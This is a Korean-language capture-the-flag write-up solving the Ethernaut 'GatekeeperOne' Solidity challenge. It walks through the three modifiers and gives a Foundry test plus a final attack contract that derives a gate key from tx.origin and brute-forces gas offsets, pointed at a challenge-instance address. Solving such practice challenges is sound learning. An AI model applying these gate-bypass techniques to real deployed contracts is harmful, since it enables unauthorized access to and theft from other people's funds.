// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
이 문제는 3개의 modifier가 정의되어 있는데 문제를 해결하려면 3개의 modifier가 걸려있는 enter(bytes8) 함수를 호출하여 entrant에 풀이자의 지갑 주소를 등록하면 풀리는 문제이다.
gateOne()은 msg.sender가 tx.origin이 아니어야 한다. -> 컨트렉트를 만들어서 enter(bytes8) 호출
gateTwo()는 gasleft() 즉, 저 시점의 남은 gas가 8191로 나눠떨어져야 한다.
gateTwo() 에서 revert 나는 test code를 foundry gas report로 확인해보면 enter함수가 350정도의 gas가 소비된다고 한다. foundry에서 측정한 gas와 실제 온체인에서의 gas의 오차가 존재하기 때문에 ( 노드 버전, solidity 버전 등등) 저 값을 참고하여 payload를 작성하면 되겠다.
먼저 testcode로 payload를 작성해 테스트 해보았다.
gateThree()는 tx.origin을 가지고 장난을 치는데 결론적으로 다음과 같은 값이 _gateKey가 된다.
bytes8 _gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
먼저 payload testcode를 작성하여 확인해보았다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Gatekeeper_One.sol";
contract CounterTest is Test {
GatekeeperOne public target;
address public attacker;
function setUp() public {
target = new GatekeeperOne();
attacker = address(0x11);
}
function testatk() public {
vm.startPrank(attacker);
bytes8 _gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
for(uint i=0; i<=350; i++)
{
(bool success, ) = address(target).call{gas: i + (8191 * 3)}(abi.encodeWithSignature("enter(bytes8)", _gateKey));
if (success) {
console.log(i);
console.log(i + (8191 * 3));
console.log("clear");
break;
}
}
}
}

위에 gas report와는 다르게 max 값이 커진걸 확인할 수 있었고, modifier 모두 통과하여 entrant 등록에 성공한 것을 확인할 수 있겠다. 내 테스트 환경에서는 268이 gasleft() 호출 시점에 gas인데 위에서 말했던 것 처럼 실제 온체인과에는 차이가 존재할 수 있기 때문에 아래와 같은 payload 컨트렉트로 문제를 풀이하였다.
이를 종합하여 payload 컨트렉트를 작성하였다.
contract attack {
GatekeeperOne public target = GatekeeperOne(0x2270626bC8D8d774D0A7AeB0773CB672be957A21);
function atk() public returns(uint256 check){
bytes8 _gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
for(uint i=0; i<=350; i++)
{
(bool success, ) = address(target).call{gas: i + (8191 * 3)}(abi.encodeWithSignature("enter(bytes8)", _gateKey));
if (success) {
check=i;
break;
}
}
}
}